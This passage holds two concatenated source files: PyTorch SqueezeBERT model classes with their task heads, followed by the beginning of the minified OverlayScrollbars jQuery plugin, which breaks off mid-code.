self.pooler = SqueezeBertPooler(config)
# Initialize weights and apply final processing
self.post_init()
def get_input_embeddings(self):
return self.embeddings.word_embeddings
def set_input_embeddings(self, new_embeddings):
self.embeddings.word_embeddings = new_embeddings
def _prune_heads(self, heads_to_prune):
"""
Prunes heads of the model. heads_to_prune: dict of {layer_num: list of heads to prune in this layer} See base
class PreTrainedModel
"""
for layer, heads in heads_to_prune.items():
self.encoder.layer[layer].attention.prune_heads(heads)
@add_start_docstrings_to_model_forward(SQUEEZEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=BaseModelOutputWithPooling,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.FloatTensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, BaseModelOutputWithPooling]:
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is not None:
input_shape = input_ids.size()
elif inputs_embeds is not None:
input_shape = inputs_embeds.size()[:-1]
else:
raise ValueError("You have to specify either input_ids or inputs_embeds")
device = input_ids.device if input_ids is not None else inputs_embeds.device
if attention_mask is None:
attention_mask = torch.ones(input_shape, device=device)
if token_type_ids is None:
token_type_ids = torch.zeros(input_shape, dtype=torch.long, device=device)
extended_attention_mask = self.get_extended_attention_mask(attention_mask, input_shape)
# Prepare head mask if needed
# 1.0 in head_mask indicate we keep the head
# attention_probs has shape bsz x n_heads x N x N
# input head_mask has shape [num_heads] or [num_hidden_layers x num_heads]
# and head_mask is converted to shape [num_hidden_layers x batch x num_heads x seq_length x seq_length]
head_mask = self.get_head_mask(head_mask, self.config.num_hidden_layers)
embedding_output = self.embeddings(
input_ids=input_ids, position_ids=position_ids, token_type_ids=token_type_ids, inputs_embeds=inputs_embeds
)
encoder_outputs = self.encoder(
hidden_states=embedding_output,
attention_mask=extended_attention_mask,
head_mask=head_mask,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = encoder_outputs[0]
pooled_output = self.pooler(sequence_output)
if not return_dict:
return (sequence_output, pooled_output) + encoder_outputs[1:]
return BaseModelOutputWithPooling(
last_hidden_state=sequence_output,
pooler_output=pooled_output,
hidden_states=encoder_outputs.hidden_states,
attentions=encoder_outputs.attentions,
)
@add_start_docstrings("""SqueezeBERT Model with a `language modeling` head on top.""", SQUEEZEBERT_START_DOCSTRING)
class SqueezeBertForMaskedLM(SqueezeBertPreTrainedModel):
_keys_to_ignore_on_load_missing = [
r"predictions.decoder.bias",
"cls.predictions.decoder.weight",
"embeddings.position_ids",
]
def __init__(self, config):
super().__init__(config)
self.transformer = SqueezeBertModel(config)
self.cls = SqueezeBertOnlyMLMHead(config)
# Initialize weights and apply final processing
self.post_init()
def get_output_embeddings(self):
return self.cls.predictions.decoder
def set_output_embeddings(self, new_embeddings):
self.cls.predictions.decoder = new_embeddings
@add_start_docstrings_to_model_forward(SQUEEZEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MaskedLMOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, MaskedLMOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the masked language modeling loss. Indices should be in `[-100, 0, ...,
config.vocab_size]` (see `input_ids` docstring) Tokens with indices set to `-100` are ignored (masked), the
loss is only computed for the tokens with labels in `[0, ..., config.vocab_size]`
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.transformer(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
prediction_scores = self.cls(sequence_output)
masked_lm_loss = None
if labels is not None:
loss_fct = CrossEntropyLoss() # -100 index = padding token
masked_lm_loss = loss_fct(prediction_scores.view(-1, self.config.vocab_size), labels.view(-1))
if not return_dict:
output = (prediction_scores,) + outputs[2:]
return ((masked_lm_loss,) + output) if masked_lm_loss is not None else output
return MaskedLMOutput(
loss=masked_lm_loss,
logits=prediction_scores,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
SqueezeBERT Model transformer with a sequence classification/regression head on top (a linear layer on top of the
pooled output) e.g. for GLUE tasks.
""",
SQUEEZEBERT_START_DOCSTRING,
)
class SqueezeBertForSequenceClassification(SqueezeBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.config = config
self.transformer = SqueezeBertModel(config)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
self.classifier = nn.Linear(config.hidden_size, self.config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(SQUEEZEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=SequenceClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, SequenceClassifierOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the sequence classification/regression loss. Indices should be in `[0, ...,
config.num_labels - 1]`. If `config.num_labels == 1` a regression loss is computed (Mean-Square loss), If
`config.num_labels > 1` a classification loss is computed (Cross-Entropy).
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.transformer(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
loss = None
if labels is not None:
if self.config.problem_type is None:
if self.num_labels == 1:
self.config.problem_type = "regression"
elif self.num_labels > 1 and (labels.dtype == torch.long or labels.dtype == torch.int):
self.config.problem_type = "single_label_classification"
else:
self.config.problem_type = "multi_label_classification"
if self.config.problem_type == "regression":
loss_fct = MSELoss()
if self.num_labels == 1:
loss = loss_fct(logits.squeeze(), labels.squeeze())
else:
loss = loss_fct(logits, labels)
elif self.config.problem_type == "single_label_classification":
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
elif self.config.problem_type == "multi_label_classification":
loss_fct = BCEWithLogitsLoss()
loss = loss_fct(logits, labels)
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return SequenceClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
SqueezeBERT Model with a multiple choice classification head on top (a linear layer on top of the pooled output and
a softmax) e.g. for RocStories/SWAG tasks.
""",
SQUEEZEBERT_START_DOCSTRING,
)
class SqueezeBertForMultipleChoice(SqueezeBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.transformer = SqueezeBertModel(config)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
self.classifier = nn.Linear(config.hidden_size, 1)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(
SQUEEZEBERT_INPUTS_DOCSTRING.format("batch_size, num_choices, sequence_length")
)
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=MultipleChoiceModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, MultipleChoiceModelOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for computing the multiple choice classification loss. Indices should be in `[0, ...,
num_choices-1]` where *num_choices* is the size of the second dimension of the input tensors. (see
*input_ids* above)
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
num_choices = input_ids.shape[1] if input_ids is not None else inputs_embeds.shape[1]
input_ids = input_ids.view(-1, input_ids.size(-1)) if input_ids is not None else None
attention_mask = attention_mask.view(-1, attention_mask.size(-1)) if attention_mask is not None else None
token_type_ids = token_type_ids.view(-1, token_type_ids.size(-1)) if token_type_ids is not None else None
position_ids = position_ids.view(-1, position_ids.size(-1)) if position_ids is not None else None
inputs_embeds = (
inputs_embeds.view(-1, inputs_embeds.size(-2), inputs_embeds.size(-1))
if inputs_embeds is not None
else None
)
outputs = self.transformer(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
pooled_output = outputs[1]
pooled_output = self.dropout(pooled_output)
logits = self.classifier(pooled_output)
reshaped_logits = logits.view(-1, num_choices)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(reshaped_logits, labels)
if not return_dict:
output = (reshaped_logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return MultipleChoiceModelOutput(
loss=loss,
logits=reshaped_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
SqueezeBERT Model with a token classification head on top (a linear layer on top of the hidden-states output) e.g.
for Named-Entity-Recognition (NER) tasks.
""",
SQUEEZEBERT_START_DOCSTRING,
)
class SqueezeBertForTokenClassification(SqueezeBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.transformer = SqueezeBertModel(config)
self.dropout = nn.Dropout(config.hidden_dropout_prob)
self.classifier = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(SQUEEZEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=TokenClassifierOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
labels: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, TokenClassifierOutput]:
r"""
labels (`torch.LongTensor` of shape `(batch_size, sequence_length)`, *optional*):
Labels for computing the token classification loss. Indices should be in `[0, ..., config.num_labels - 1]`.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.transformer(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
sequence_output = self.dropout(sequence_output)
logits = self.classifier(sequence_output)
loss = None
if labels is not None:
loss_fct = CrossEntropyLoss()
loss = loss_fct(logits.view(-1, self.num_labels), labels.view(-1))
if not return_dict:
output = (logits,) + outputs[2:]
return ((loss,) + output) if loss is not None else output
return TokenClassifierOutput(
loss=loss,
logits=logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
@add_start_docstrings(
"""
SqueezeBERT Model with a span classification head on top for extractive question-answering tasks like SQuAD (a
linear layers on top of the hidden-states output to compute `span start logits` and `span end logits`).
""",
SQUEEZEBERT_START_DOCSTRING,
)
class SqueezeBertForQuestionAnswering(SqueezeBertPreTrainedModel):
def __init__(self, config):
super().__init__(config)
self.num_labels = config.num_labels
self.transformer = SqueezeBertModel(config)
self.qa_outputs = nn.Linear(config.hidden_size, config.num_labels)
# Initialize weights and apply final processing
self.post_init()
@add_start_docstrings_to_model_forward(SQUEEZEBERT_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
@add_code_sample_docstrings(
checkpoint=_CHECKPOINT_FOR_DOC,
output_type=QuestionAnsweringModelOutput,
config_class=_CONFIG_FOR_DOC,
)
def forward(
self,
input_ids: Optional[torch.Tensor] = None,
attention_mask: Optional[torch.Tensor] = None,
token_type_ids: Optional[torch.Tensor] = None,
position_ids: Optional[torch.Tensor] = None,
head_mask: Optional[torch.Tensor] = None,
inputs_embeds: Optional[torch.Tensor] = None,
start_positions: Optional[torch.Tensor] = None,
end_positions: Optional[torch.Tensor] = None,
output_attentions: Optional[bool] = None,
output_hidden_states: Optional[bool] = None,
return_dict: Optional[bool] = None,
) -> Union[Tuple, QuestionAnsweringModelOutput]:
r"""
start_positions (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the start of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (*sequence_length*). Position outside of the sequence
are not taken into account for computing the loss.
end_positions (`torch.LongTensor` of shape `(batch_size,)`, *optional*):
Labels for position (index) of the end of the labelled span for computing the token classification loss.
Positions are clamped to the length of the sequence (*sequence_length*). Position outside of the sequence
are not taken into account for computing the loss.
"""
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
outputs = self.transformer(
input_ids,
attention_mask=attention_mask,
token_type_ids=token_type_ids,
position_ids=position_ids,
head_mask=head_mask,
inputs_embeds=inputs_embeds,
output_attentions=output_attentions,
output_hidden_states=output_hidden_states,
return_dict=return_dict,
)
sequence_output = outputs[0]
logits = self.qa_outputs(sequence_output)
start_logits, end_logits = logits.split(1, dim=-1)
start_logits = start_logits.squeeze(-1).contiguous()
end_logits = end_logits.squeeze(-1).contiguous()
total_loss = None
if start_positions is not None and end_positions is not None:
# If we are on multi-GPU, split add a dimension
if len(start_positions.size()) > 1:
start_positions = start_positions.squeeze(-1)
if len(end_positions.size()) > 1:
end_positions = end_positions.squeeze(-1)
# sometimes the start/end positions are outside our model inputs, we ignore these terms
ignored_index = start_logits.size(1)
start_positions = start_positions.clamp(0, ignored_index)
end_positions = end_positions.clamp(0, ignored_index)
loss_fct = CrossEntropyLoss(ignore_index=ignored_index)
start_loss = loss_fct(start_logits, start_positions)
end_loss = loss_fct(end_logits, end_positions)
total_loss = (start_loss + end_loss) / 2
if not return_dict:
output = (start_logits, end_logits) + outputs[2:]
return ((total_loss,) + output) if total_loss is not None else output
return QuestionAnsweringModelOutput(
loss=total_loss,
start_logits=start_logits,
end_logits=end_logits,
hidden_states=outputs.hidden_states,
attentions=outputs.attentions,
)
|
2740908911/Pilot-Web | 42,602 | pilot-client/plugins/overlayScrollbars/js/jquery.overlayScrollbars.min.js | /*!
* OverlayScrollbars
* https://github.com/KingSora/OverlayScrollbars
*
* Version: 1.13.0
*
* Copyright KingSora | Rene Haas.
* https://github.com/KingSora
*
* Released under the MIT license.
* Date: 02.08.2020
*/
!function(t,r){"function"==typeof define&&define.amd?define(["jquery"],function(n){return r(t,t.document,undefined,n)}):"object"==typeof module&&"object"==typeof module.exports?module.exports=r(t,t.document,undefined,require("jquery")):r(t,t.document,undefined,t.jQuery)}("undefined"!=typeof window?window:this,function(vi,di,hi,n){"use strict";var o,l,f,a,pi="object",bi="function",yi="array",mi="string",gi="boolean",wi="number",t="null",xi={c:"class",s:"style",i:"id",l:"length",p:"prototype",ti:"tabindex",oH:"offsetHeight",cH:"clientHeight",sH:"scrollHeight",oW:"offsetWidth",cW:"clientWidth",sW:"scrollWidth",hOP:"hasOwnProperty",bCR:"getBoundingClientRect"},_i=(o={},l={},{e:f=["-webkit-","-moz-","-o-","-ms-"],o:a=["WebKit","Moz","O","MS"],u:function(n){var t=l[n];if(l[xi.hOP](n))return t;for(var r,e,i,o=c(n),a=di.createElement("div")[xi.s],u=0;u<f.length;u++)for(i=f[u].replace(/-/g,""),r=[n,f[u]+n,i+o,c(i)+o],e=0;e<r[xi.l];e++)if(a[r[e]]!==hi){t=r[e];break}return l[n]=t},v:function(n,t,r){var e=n+" "+t,i=l[e];if(l[xi.hOP](e))return i;for(var o,a=di.createElement("div")[xi.s],u=t.split(" "),f=r||"",c=0,s=-1;c<u[xi.l];c++)for(;s<_i.e[xi.l];s++)if(o=s<0?u[c]:_i.e[s]+u[c],a.cssText=n+":"+o+f,a[xi.l]){i=o;break}return l[e]=i},d:function(n,t,r){var e=0,i=o[n];if(!o[xi.hOP](n)){for(i=vi[n];e<a[xi.l];e++)i=i||vi[(t?a[e]:a[e].toLowerCase())+c(n)];o[n]=i}return i||r}});function c(n){return n.charAt(0).toUpperCase()+n.slice(1)}var Si={wW:e(r,0,!0),wH:e(r,0),mO:e(_i.d,0,"MutationObserver",!0),rO:e(_i.d,0,"ResizeObserver",!0),rAF:e(_i.d,0,"requestAnimationFrame",!1,function(n){return vi.setTimeout(n,1e3/60)}),cAF:e(_i.d,0,"cancelAnimationFrame",!1,function(n){return vi.clearTimeout(n)}),now:function(){return Date.now&&Date.now()||(new Date).getTime()},stpP:function(n){n.stopPropagation?n.stopPropagation():n.cancelBubble=!0},prvD:function(n){n.preventDefault&&n.cancelable?n.preventDefault():n.returnValue=!1},page:function(n){var t=((n=n.originalEvent||n).target||n.srcElement||di).ownerDocument||di,r=t.documentElement,e=t.body;if(n.touches===hi)return!n.pageX&&n.clientX&&null!=n.clientX?{x:n.clientX+(r&&r.scrollLeft||e&&e.scrollLeft||0)-(r&&r.clientLeft||e&&e.clientLeft||0),y:n.clientY+(r&&r.scrollTop||e&&e.scrollTop||0)-(r&&r.clientTop||e&&e.clientTop||0)}:{x:n.pageX,y:n.pageY};var i=n.touches[0];return{x:i.pageX,y:i.pageY}},mBtn:function(n){var t=n.button;return n.which||t===hi?n.which:1&t?1:2&t?3:4&t?2:0},inA:function(n,t){for(var r=0;r<t[xi.l];r++)try{if(t[r]===n)return r}catch(e){}return-1},isA:function(n){var t=Array.isArray;return t?t(n):this.type(n)==yi},type:function(n){return n===hi||null===n?n+"":Object[xi.p].toString.call(n).replace(/^\[object (.+)\]$/,"$1").toLowerCase()},bind:e};function r(n){return n?vi.innerWidth||di.documentElement[xi.cW]||di.body[xi.cW]:vi.innerHeight||di.documentElement[xi.cH]||di.body[xi.cH]}function e(n,t){if(typeof n!=bi)throw"Can't bind function!";var r=xi.p,e=Array[r].slice.call(arguments,2),i=function(){},o=function(){return n.apply(this instanceof i?this:t,e.concat(Array[r].slice.call(arguments)))};return n[r]&&(i[r]=n[r]),o[r]=new i,o}var i,u,zi,s,v,L,N,d,h,p,b,y,m,g,Ti,Oi=Math,ki=n,Ci=(n.easing,n),Ai=(i=[],u="__overlayScrollbars__",function(n,t){var r=arguments[xi.l];if(r<1)return i;if(t)n[u]=t,i.push(n);else{var e=Si.inA(n,i);if(-1<e){if(!(1<r))return i[e][u];delete n[u],i.splice(e,1)}}}),w=(g=[],L=Si.type,y={className:["os-theme-dark",[t,mi]],resize:["none","n:none b:both h:horizontal v:vertical"],sizeAutoCapable:d=[!0,gi],clipAlways:d,normalizeRTL:d,paddingAbsolute:h=[!(N=[gi,wi,mi,yi,pi,bi,t]),gi],autoUpdate:[null,[t,gi]],autoUpdateInterval:[33,wi],updateOnLoad:[["img"],[mi,yi,t]],nativeScrollbarsOverlaid:{showNativeScrollbars:h,initialize:d},overflowBehavior:{x:["scroll",b="v-h:visible-hidden v-s:visible-scroll s:scroll h:hidden"],y:["scroll",b]},scrollbars:{visibility:["auto","v:visible h:hidden a:auto"],autoHide:["never","n:never s:scroll l:leave m:move"],autoHideDelay:[800,wi],dragScrolling:d,clickScrolling:h,touchSupport:d,snapHandle:h},textarea:{dynWidth:h,dynHeight:h,inheritedAttrs:[["style","class"],[mi,yi,t]]},callbacks:{onInitialized:p=[null,[t,bi]],onInitializationWithdrawn:p,onDestroyed:p,onScrollStart:p,onScroll:p,onScrollStop:p,onOverflowChanged:p,onOverflowAmountChanged:p,onDirectionChanged:p,onContentSizeChanged:p,onHostSizeChanged:p,onUpdated:p}},Ti={m:(m=function(i){var o=function(n){var t,r,e;for(t in n)n[xi.hOP](t)&&(r=n[t],(e=L(r))==yi?n[t]=r[i?1:0]:e==pi&&(n[t]=o(r)));return n};return o(Ci.extend(!0,{},y))})(),g:m(!0),_:function(n,t,C,r){var e={},i={},o=Ci.extend(!0,{},n),A=Ci.inArray,H=Ci.isEmptyObject,R=function(n,t,r,e,i,o){for(var a in t)if(t[xi.hOP](a)&&n[xi.hOP](a)){var u,f,c,s,l,v,d,h,p=!1,b=!1,y=t[a],m=L(y),g=m==pi,w=Si.isA(y)?y:[y],x=r[a],_=n[a],S=L(_),z=o?o+".":"",T='The option "'+z+a+"\" wasn't set, because",O=[],k=[];if(x=x===hi?{}:x,g&&S==pi)e[a]={},i[a]={},R(_,y,x,e[a],i[a],z+a),Ci.each([n,e,i],function(n,t){H(t[a])&&delete t[a]});else if(!g){for(v=0;v<w[xi.l];v++)if(l=w[v],c=(m=L(l))==mi&&-1===A(l,N))for(O.push(mi),u=l.split(" "),k=k.concat(u),d=0;d<u[xi.l];d++){for(s=(f=u[d].split(":"))[0],h=0;h<f[xi.l];h++)if(_===f[h]){p=!0;break}if(p)break}else if(O.push(l),S===l){p=!0;break}p?((b=_!==x)&&(e[a]=_),(c?A(x,f)<0:b)&&(i[a]=c?s:_)):C&&console.warn(T+" it doesn't accept the type [ "+S.toUpperCase()+' ] with the value of "'+_+'".\r\nAccepted types are: [ '+O.join(", ").toUpperCase()+" ]."+(0<k[length]?"\r\nValid strings are: [ "+k.join(", ").split(":").join(", ")+" ].":"")),delete n[a]}}};return R(o,t,r||{},e,i),!H(o)&&C&&console.warn("The following options are discarded due to invalidity:\r\n"+vi.JSON.stringify(o,null,2)),{S:e,z:i}}},(zi=vi.OverlayScrollbars=function(n,r,e){if(0===arguments[xi.l])return this;var i,t,o=[],a=Ci.isPlainObject(r);return n?(n=n[xi.l]!=hi?n:[n[0]||n],x(),0<n[xi.l]&&(a?Ci.each(n,function(n,t){(i=t)!==hi&&o.push(z(i,r,e,s,v))}):Ci.each(n,function(n,t){i=Ai(t),("!"===r&&zi.valid(i)||Si.type(r)==bi&&r(t,i)||r===hi)&&o.push(i)}),t=1===o[xi.l]?o[0]:o),t):a||!r?t:o}).globals=function(){x();var n=Ci.extend(!0,{},s);return delete n.msie,n},zi.defaultOptions=function(n){x();var t=s.defaultOptions;if(n===hi)return Ci.extend(!0,{},t);s.defaultOptions=Ci.extend(!0,{},t,Ti._(n,Ti.g,!0,t).S)},zi.valid=function(n){return n instanceof zi&&!n.getState().destroyed},zi.extension=function(n,t,r){var e=Si.type(n)==mi,i=arguments[xi.l],o=0;if(i<1||!e)return Ci.extend(!0,{length:g[xi.l]},g);if(e)if(Si.type(t)==bi)g.push({name:n,extensionFactory:t,defaultOptions:r});else for(;o<g[xi.l];o++)if(g[o].name===n){if(!(1<i))return Ci.extend(!0,{},g[o]);g.splice(o,1)}},zi);function x(){s=s||new _(Ti.m),v=v||new S(s)}function _(n){var _=this,i="overflow",S=Ci("body"),z=Ci('<div id="os-dummy-scrollbar-size"><div></div></div>'),o=z[0],e=Ci(z.children("div").eq(0));S.append(z),z.hide().show();var t,r,a,u,f,c,s,l,v,d=T(o),h={x:0===d.x,y:0===d.y},p=(r=vi.navigator.userAgent,u="substring",f=r[a="indexOf"]("MSIE "),c=r[a]("Trident/"),s=r[a]("Edge/"),l=r[a]("rv:"),v=parseInt,0<f?t=v(r[u](f+5,r[a](".",f)),10):0<c?t=v(r[u](l+3,r[a](".",l)),10):0<s&&(t=v(r[u](s+5,r[a](".",s)),10)),t);function T(n){return{x:n[xi.oH]-n[xi.cH],y:n[xi.oW]-n[xi.cW]}}Ci.extend(_,{defaultOptions:n,msie:p,autoUpdateLoop:!1,autoUpdateRecommended:!Si.mO(),nativeScrollbarSize:d,nativeScrollbarIsOverlaid:h,nativeScrollbarStyling:function(){var n=!1;z.addClass("os-viewport-native-scrollbars-invisible");try{n="none"===z.css("scrollbar-width")&&(9<p||!p)||"none"===vi.getComputedStyle(o,"::-webkit-scrollbar").getPropertyValue("display")}catch(t){}return n}(),overlayScrollbarDummySize:{x:30,y:30},cssCalc:_i.v("width","calc","(1px)")||null,restrictedMeasuring:function(){z.css(i,"hidden");var n=o[xi.sW],t=o[xi.sH];z.css(i,"visible");var r=o[xi.sW],e=o[xi.sH];return n-r!=0||t-e!=0}(),rtlScrollBehavior:function(){z.css({"overflow-y":"hidden","overflow-x":"scroll",direction:"rtl"}).scrollLeft(0);var n=z.offset(),t=e.offset();z.scrollLeft(-999);var r=e.offset();return{i:n.left===t.left,n:t.left!==r.left}}(),supportTransform:!!_i.u("transform"),supportTransition:!!_i.u("transition"),supportPassiveEvents:function(){var n=!1;try{vi.addEventListener("test",null,Object.defineProperty({},"passive",{get:function(){n=!0}}))}catch(t){}return n}(),supportResizeObserver:!!Si.rO(),supportMutationObserver:!!Si.mO()}),z.removeAttr(xi.s).remove(),function(){if(!h.x||!h.y){var y=Oi.abs,m=Si.wW(),g=Si.wH(),w=x();Ci(vi).on("resize",function(){if(0<Ai().length){var n=Si.wW(),t=Si.wH(),r=n-m,e=t-g;if(0==r&&0==e)return;var i,o=Oi.round(n/(m/100)),a=Oi.round(t/(g/100)),u=y(r),f=y(e),c=y(o),s=y(a),l=x(),v=2<u&&2<f,d=!function b(n,t){var r=y(n),e=y(t);return r!==e&&r+1!==e&&r-1!==e}(c,s),h=v&&d&&(l!==w&&0<w),p=_.nativeScrollbarSize;h&&(S.append(z),i=_.nativeScrollbarSize=T(z[0]),z.remove(),p.x===i.x&&p.y===i.y||Ci.each(Ai(),function(){Ai(this)&&Ai(this).update("zoom")})),m=n,g=t,w=l}})}function x(){var n=vi.screen.deviceXDPI||0,t=vi.screen.logicalXDPI||1;return vi.devicePixelRatio||n/t}}()}function S(r){var c,e=Ci.inArray,s=Si.now,l="autoUpdate",v=xi.l,d=[],h=[],p=!1,b=33,y=s(),m=function(){if(0<d[v]&&p){c=Si.rAF()(function(){m()});var n,t,r,e,i,o,a=s(),u=a-y;if(b<u){y=a-u%b,n=33;for(var f=0;f<d[v];f++)(t=d[f])!==hi&&(e=(r=t.options())[l],i=Oi.max(1,r.autoUpdateInterval),o=s(),(!0===e||null===e)&&o-h[f]>i&&(t.update("auto"),h[f]=new Date(o+=i)),n=Oi.max(1,Oi.min(n,i)));b=n}}else b=33};this.add=function(n){-1===e(n,d)&&(d.push(n),h.push(s()),0<d[v]&&!p&&(p=!0,r.autoUpdateLoop=p,m()))},this.remove=function(n){var t=e(n,d);-1<t&&(h.splice(t,1),d.splice(t,1),0===d[v]&&p&&(p=!1,r.autoUpdateLoop=p,c!==hi&&(Si.cAF()(c),c=-1)))}}function z(r,n,t,xt,_t){var cn=Si.type,sn=Ci.inArray,d=Ci.each,St=new zi,e=Ci[xi.p];if(dt(r)){if(Ai(r)){var i=Ai(r);return i.options(n),i}var zt,Tt,Ot,kt,I,Ct,At,Ht,j,ln,g,A,h,Rt,Lt,Nt,Wt,w,p,Dt,Mt,Et,It,jt,Ft,Pt,Ut,Vt,$t,o,a,qt,Bt,Xt,u,F,c,P,Yt,Kt,Gt,Jt,Qt,Zt,nr,tr,rr,er,ir,f,s,l,v,b,y,x,H,or,ar,ur,R,fr,cr,sr,lr,vr,dr,hr,pr,br,yr,mr,gr,wr,xr,_r,L,Sr,zr,Tr,Or,kr,Cr,Ar,Hr,m,_,Rr,Lr,Nr,Wr,Dr,Mr,Er,Ir,jr,Fr,Pr,Ur,Vr,$r,S,z,T,O,qr,Br,k,C,Xr,Yr,Kr,Gr,Jr,U,V,Qr,Zr,ne,te,re={},vn={},dn={},ee={},ie={},N="-hidden",oe="margin-",ae="padding-",ue="border-",fe="top",ce="right",se="bottom",le="left",ve="min-",de="max-",he="width",pe="height",be="float",ye="",me="auto",hn="sync",ge="scroll",we="100%",pn="x",bn="y",W=".",xe=" ",D="scrollbar",M="-horizontal",E="-vertical",_e=ge+"Left",Se=ge+"Top",$="mousedown touchstart",q="mouseup touchend touchcancel",B="mousemove 